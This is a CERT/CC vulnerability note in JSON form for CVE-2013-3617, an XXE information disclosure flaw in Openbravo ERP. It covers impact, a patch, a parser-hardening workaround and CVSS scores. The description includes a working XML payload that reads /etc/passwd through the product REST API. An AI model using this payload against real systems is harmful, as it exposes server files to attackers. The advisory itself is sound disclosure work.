{"vuid":"VU#533894","idnumber":"533894","name":"Openbravo ERP contains an information disclosure vulnerability","keywords":["Openbravo","ERP","XML","API","information disclosure","CWE-200"],"overview":"Openbravo ERP 2.5, 3, and possibly earlier versions contain an information disclosure vulnerability (CWE-200).","clean_desc":"CWE-200: Information Exposure\nOpenbravo ERP version 2.5 and version 3 contain an information disclosure vulnerability. This is due to the expanded use of XML External Entity (XXE) Processing. An attacker can send specially crafted XML requests to the XML API and have the application return the contents of files on the filesystem. An example of this request is listed here: <?xml version=\"1.0\" encoding=\"UTF-8\"?> <!DOCTYPE foo [\n <!ELEMENT comments ANY > <!ENTITY xxe SYSTEM \"file:///etc/passwd\" > <ob:Openbravo xmlns:ob=\"http://www.example.com\"\nxmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"> <Product id=\"C970393BDF6C43E2B030D23482D88EED\" identifier=\"Zumo de Piña 0,5L\"> <id> C970393BDF6C43E2B030D23482D88EED</id>\n                <comments>&xxe;</comments>\n        </Product>\n</ob:Openbravo> If sent as a PUT or POST request to the respective REST endpoint, this will update the product with the contents of /etc/passwd in the comment section of the product. You may then make a GET request to the respective product's REST endpoint to receive the contents back and parse the file's contents. For more details, please see Tod Beardsley's Rapid7 blog post.","impact":"An authenticated attacker can send specially crafted XML requests to the XML API and have the application read the contents of the filesystem. This may be used to obtain unauthorized administrative access to the system.","resolution":"Apply an Update\nOpenBravo has released an update to address this vulnerability. Please refer to their issue tracker for more details. You may also want to consider using the following workaround.","workarounds":"Disable XXE\nBy disabling the external general entities feature of the SAXParserFactory used to parse the XML within Java code, the attacker cannot successfully make these XML requests. More details can be found on the OWASP XML External Entity (XXE) Processing page.","sysaffected":"","thanks":"Thanks to Tod Beardsley and Brandon Perry of Rapid7, Inc. for reporting this vulnerability.","author":"This document was written by Adam Rauf.","public":["http://cwe.mitre.org/data/definitions/200.html","http://www.openbravo.com/","http://wiki.openbravo.com/wiki/Updates_and_upgrades","http://sourceforge.net/projects/openbravo/files/01-openbravo-appliances/","https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing","https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-foss-disclosures-part-one"],"cveids":["CVE-2013-3617"],"certadvisory":"","uscerttechnicalalert":null,"datecreated":"2013-08-27T12:17:17Z","publicdate":"2013-10-30T00:00:00Z","datefirstpublished":"2013-10-30T12:37:37Z","dateupdated":"2013-11-05T21:37:57Z","revision":39,"vrda_d1_directreport":"1","vrda_d1_population":"2","vrda_d1_impact":"3","cam_widelyknown":"0","cam_exploitation":"0","cam_internetinfrastructure":"0","cam_population":"0","cam_impact":"0","cam_easeofexploitation":"0","cam_attackeraccessrequired":"0","cam_scorecurrent":"0","cam_scorecurrentwidelyknown":"0","cam_scorecurrentwidelyknownexploited":"0","ipprotocol":"","cvss_accessvector":"N","cvss_accesscomplexity":"M","cvss_authentication":null,"cvss_confidentialityimpact":"P","cvss_integrityimpact":"N","cvss_availabilityimpact":"N","cvss_exploitablity":null,"cvss_remediationlevel":"OF","cvss_reportconfidence":"C","cvss_collateraldamagepotential":"L","cvss_targetdistribution":"L","cvss_securityrequirementscr":"ND","cvss_securityrequirementsir":"ND","cvss_securityrequirementsar":"ND","cvss_basescore":"3.5","cvss_basevector":"AV:N/AC:M/Au:S/C:P/I:N/A:N","cvss_temporalscore":"2.7","cvss_environmentalscore":"0.9","cvss_environmentalvector":"CDP:L/TD:L/CR:ND/IR:ND/AR:ND","metric":0.0,"vulnote":null}